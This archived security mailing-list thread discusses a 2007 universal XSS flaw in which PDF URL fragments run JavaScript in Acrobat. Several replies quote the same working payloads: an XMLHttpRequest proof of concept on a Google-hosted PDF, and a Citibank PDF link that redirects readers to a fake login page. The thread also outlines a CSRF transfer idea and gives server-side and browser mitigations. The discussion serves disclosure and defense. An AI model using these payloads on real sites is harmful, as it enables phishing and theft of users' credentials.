Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
this is client-side stuff. Yes, but server-side changes can defend against this vulnerability. For my Java/J2EE apps, I took OWASP's suggestion at : http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE And all is well in my world. - Jim PS: And you are right of course about CSRF :) M.B.Jr. wrote: On 1/3/07, Jim Manico [EMAIL PROTECTED] wrote: I'm most worried about the CSRF vector. how come? this is client-side stuff. -- Best Regards, Jim Manico GIAC GSEC Professional, Sun Certified Java Programmer [EMAIL PROTECTED] 808.652.3805 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
On 1/3/07, Jim Manico [EMAIL PROTECTED] wrote: I'm most worried about the CSRF vector. how come? this is client-side stuff. -- Marcio Barbado, Jr. == == ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
I'm most worried about the CSRF vector.
XSS attacks are easily preventable via a web app firewall, input
validation and/or session ID rotation; and I see a lot of frameworks
(like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
sessions. But I do not see a lot of custom commercial sites implement
solid CSRF protection quite yet.
So I'm thinking, locate a PDF that requires log-in to read; send a URL
to the PDF with a CSRF attack attached (please transfer money to me
swiss bank account), mass mail, the user clicks the link, legally logs
in, the pdf path points the user to the pdf w/ CSRF attached - and then
ouch.
I'm new at this game, but am I thinking along the right path?
- Jim
Jean-Jacques Halans wrote:
And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the
article.
For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
Notice the popup (in firefox) which says: The page at
http://www.citibank.com says:
JJ
On 1/3/07, pdp (architect) [EMAIL PROTECTED] wrote:
I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
Best Regards,
Jim Manico
GIAC GSEC Professional, Sun Certified Java Programmer
[EMAIL PROTECTED]
808.652.3805
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hi,
As the server side solution, force rewriting fragment identifiers in URI by
redirecion responce can be considered.
Disallow the directoly access to PDF on the server and return response such as:
--
Location: http://example.com/one-shot-url.pdf#top
--
As a result, fragment identifiers in URI is rewritten and executing
malicious script
can be prevented.
one-shot-url must be unpredictable disposable address by attacker.
Regards,
On 1/3/07, pdp (architect) [EMAIL PROTECTED] wrote:
I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
HASEGAWA Yosuke
[EMAIL PROTECTED]
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
pdp (architect) wrote: I will be very quick and just point to links where you can read about this issue. It seams that PDF documents can execute JavaScript code for no apparent reason by using the following template: http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here You must understand that the attacker doesn't need to have write access to the specified PDF document. In order to get an XSS vector working you need to have a PDF file hosted on the target and that's all about it. The rest is just a matter of your abilities and desires. Amazing, and kudos to Sven Vetsch who found this. Note that from attack categorization perspective, it appears to be a twisted example of DOM based XSS (http://www.webappsec.org/projects/articles/071105.shtml). I suppose PDF retrieves the URL from the browser (probably from a degenerate DOM the browser provides it - after all, the document object is available to the payload JS code!), parses it and uses the fragment. Since fragments are used, the payload doesn't travel to the target web server (!). I mentioned the possible use of fragments as a particularly nasty attack vector (impossible to detect on server) in the DOM based XSS writeup. -Amit ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Quoting pdp (architect) [EMAIL PROTECTED]: This finding was originally mentioned by Sven Vetsch, on his blog. This is a very good and quite interesting. Good work. Sorry about that but that's wrong. All the credits have to go to Stefano Di Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The only thing that I did was an overview and I found out, that it doesn't matter how the parameter is called. I just forgot to copy paste the credits from my original document, to the blog entry. I'm very sorry about that and of course I putted it in my entry now. Regards, Disenchant / Sven Vetsch ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
no worries, the vulnerability details presented on my blog post were updated. good work. On 1/3/07, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: Quoting pdp (architect) [EMAIL PROTECTED]: This finding was originally mentioned by Sven Vetsch, on his blog. This is a very good and quite interesting. Good work. Sorry about that but that's wrong. All the credits have to go to Stefano Di Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The only thing that I did was an overview and I found out, that it doesn't matter how the parameter is called. I just forgot to copy paste the credits from my original document, to the blog entry. I'm very sorry about that and of course I putted it in my entry now. Regards, Disenchant / Sven Vetsch -- pdp (architect) | petko d. petkov http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
I'm not sure if anyone else has posted this, but it looks to me like Acrobat 6 and 7 are vulnerable, but not 8. Also, all versions of Firefox are vulnerable, IE8 SP1 and earlier are, but IE 6 SP2 and IE7 aren't. Larry Seltzer eWEEK.com Security Center Editor http://security.eweek.com/ http://blog.eweek.com/blogs/larry%5Fseltzer/ Contributing Editor, PC Magazine [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
No, that is incorrect. This is not visible by the application because
achor tags are not sent to the webserver. This is completely invisible
to web application firewalls. Btw, a user on http://sla.ckers.org/ made
this recommendation for fixing your own browsers:
Firefox-Tools-Options-Content-Manage-change PDF action to Save to
disk.
-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/
On Wed, 3 Jan 2007, Jim Manico wrote:
I'm most worried about the CSRF vector.
XSS attacks are easily preventable via a web app firewall, input
validation and/or session ID rotation; and I see a lot of frameworks
(like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
sessions. But I do not see a lot of custom commercial sites implement
solid CSRF protection quite yet.
So I'm thinking, locate a PDF that requires log-in to read; send a URL
to the PDF with a CSRF attack attached (please transfer money to me
swiss bank account), mass mail, the user clicks the link, legally logs
in, the pdf path points the user to the pdf w/ CSRF attached - and then
ouch.
I'm new at this game, but am I thinking along the right path?
- Jim
Jean-Jacques Halans wrote:
And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the
article.
For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
Notice the popup (in firefox) which says: The page at
http://www.citibank.com says:
JJ
On 1/3/07, pdp (architect) [EMAIL PROTECTED] wrote:
I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
Best Regards,
Jim Manico
GIAC GSEC Professional, Sun Certified Java Programmer
[EMAIL PROTECTED]
808.652.3805
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] Universal XSS with PDF files: highly dangerous
And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the article.
For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
Notice the popup (in firefox) which says: The page at
http://www.citibank.com says:
JJ
On 1/3/07, pdp (architect) [EMAIL PROTECTED] wrote:
I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
Halans Jean-Jacques
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
